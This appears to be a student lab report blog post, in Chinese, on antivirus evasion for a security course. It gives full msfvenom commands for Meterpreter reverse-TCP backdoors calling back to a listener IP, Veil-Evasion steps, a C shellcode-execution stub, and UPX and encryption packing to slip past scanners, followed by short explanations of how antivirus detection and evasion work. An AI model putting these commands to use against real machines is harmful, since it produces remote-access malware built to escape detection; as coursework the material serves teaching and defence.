Exp3 免杀原理与实践

1. 实践内容

  1.1 方法

       - 正确使用msf编码器

       - msfvenom生成如jar之类的其他文件

       - veil

       - 加壳工具

       - 使用C + shellcode编程

       - 使用其他课堂未介绍方法

    1.2 通过组合应用各种技术实现恶意代码免杀

        (如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)

     1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

2.具体实验操作

2.1正确使用msf编码器

将实验2生成的后门程序20174305_backdoor.exe上传至virustotal网站进行筛查,结果如下

 

 可以发现很容易就被杀软发现有许多病毒。

接下来,用msf编码器进行一次编码,在kali终端输入msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 52 -b '\x00' LHOST=192.168.0.104 LPORT=4305 -f exe > 4305backdoor1.exe,生成可执行文件。

然后再放到网站上检测,如下图。

 

 扫描后,比原来少了几个病毒,继续往下做。

进行十次编码尝试:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.0.104 LPORT=4305 -f exe > 4305backdoor2.exe,然后再到网站上检测,结果如下图。

 

 病毒个数竟然还多了,由此可见,修改编码对于达到免杀效果作用微乎其微。

2.2msfvenom生成其他文件

2.2.1jar文件

使用命令 msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.0.104 LPORT=4305 x> 4305backdoor_java.jar ,生成jar文件,然后放到网站上检测,结果如下。

 

 跟上面的方法比,效果还是很明显的。

2.2.2php文件

使用命令 msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.0.104 LPORT=4305 x> 4305.php,生成文件,然后再给他送到网站上检测。

 

 跟jar文件的效果类似。

2.3使用veil-evasion生成后门程序及检测

 

  输入veil,进入veil控制台:

 

 

输入命令use evasion,使用evasion工具。

 

 

Evasion工具有41个payload可供使用,我们选择其中名为c/meterpreter/rev_tcp.py的payload。

然后输入set LHOST 192.168.159.130和set LPORT 4305,设置回连kali的IP地址和端口。然后输入options查看当前设置:

 

 

然后输入generate,生成后门

 

 

文件名设置为viel_4305,生成的后门文件veil_4305.exe的存储路径为:/var/lib/veil/output/compiled/veil_4305.exe

virscan扫描结果如下

 

 2.4使用C + shellcode编程

输入,msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.104 LPORT=4305 -f c,获取一段shellcode

 

 

shellcode复制出来,创建一个后缀为c的文本文件,将上面这段shellcode连同下面这段代码一同写入c文件中。int main() { int (*func)() = (int(*)())buf; func(); }

结果如下:

 

 

使用命令将c文件编译成可执行文件:i686-w64-mingw32-g++ 4305.c -o shellcode_4305.exe

得到这个shellcode_4305.exe可执行文件,在Virustotal扫描它得到如下结果:

 

 

 2.5加壳

使用upx shellcode_4305.exe -o upx_4305.exe,给上一步生成的后门程序shellcode_4305.exe加个压缩壳得到upx_4305.exe。

 

下面是upx_4305在virustotal上的扫描结果:

 

 

 2.6使用其他方法

采用Veil-Evasion的其他荷载生成后门方式。

进入EvaSion,使用list查看有效荷载。选择一个编号的payload进行实验。

接下来输入指令生成payload,选择一种shellcode的模板文件,这里选择msfvenom。

 

 接下来对文件进行命名,设置好一切,我们生成的后门就成功了。

 

 拿到网站上检测,

 

 可以看出达到免杀。

2.7组合技术实现免杀

这里我使用的是通过C语言和shellcode打造出一个后门,然后对其进行加壳,先加压缩壳,然后加加密壳,最后出来的后门结合了三种技术。

 通过电脑管家进行检测,并没有风险。

 

 3.基础问题回答

3.1杀软是如何检测出恶意代码的?

根据特征来检测:恶意代码常常具有明显的特征码也就是一段数据,杀软检测到具有该特征码的程序就当作检测到了恶意代码。
根据行为来检测:如果一个程序的行为是带有恶意的行为,那么这个程序也会被认为是恶意代码,有时候不是恶意代码的程序也会把查杀,因为这些程序做了一些计算机认为不安全的事情,比较常见的就是各自破解补丁或者游戏外挂等.

3.2免杀是做什么?

免杀顾名思义就是免除计算机杀软的查杀。
通过一些手段来瞒过杀软的检测扫描。

3.3免杀的基本方法有哪些?

加花指令:就是加入一些花里胡哨的指令来迷惑杀软,让杀软检测不到特征码,比如+1,-1,*1,/1什么的,但是一些厉害的杀软还可以看破这些。
加壳:就是给含有恶意代码的程序加一个外包装,让杀软不知道里面装的是什么。但是这种方法逃不过内存查杀,一运行起来就会露出马脚。
修改特征码:就是在不影响程序功能的情况下,将杀软检测的那一段特征码改一下,从而瞒过杀软的检测。当然修改特征码不是一个容易的事情,但是却是唯一可以躲过内存查杀的办法。

4.开启杀软能绝对防止电脑中恶意代码吗?

不能,杀软并不能测出所有的恶意代码,攻击者会利用杀软的弱点对代码进行更新来逃避杀软的阻拦。

5.实验心得及体会

  本次实验很有趣,让我对于后门及免杀的方法有了更深刻的认识,在老师的讲解下和同学博客的指导下,得以做出此次实验。通过本次实验,我发现我对于kali的操作还不是特别熟练,课后应多加练习。除此之外,恶意代码恶意软件非常危险,他们可以很轻易地逃过杀软的封锁,对受害者进行攻击,所以我们应加强防范意识,防患于未然。

posted @ 2020-04-03 11:42  20174305刘鸿钊  阅读(113)  评论(0编辑  收藏  举报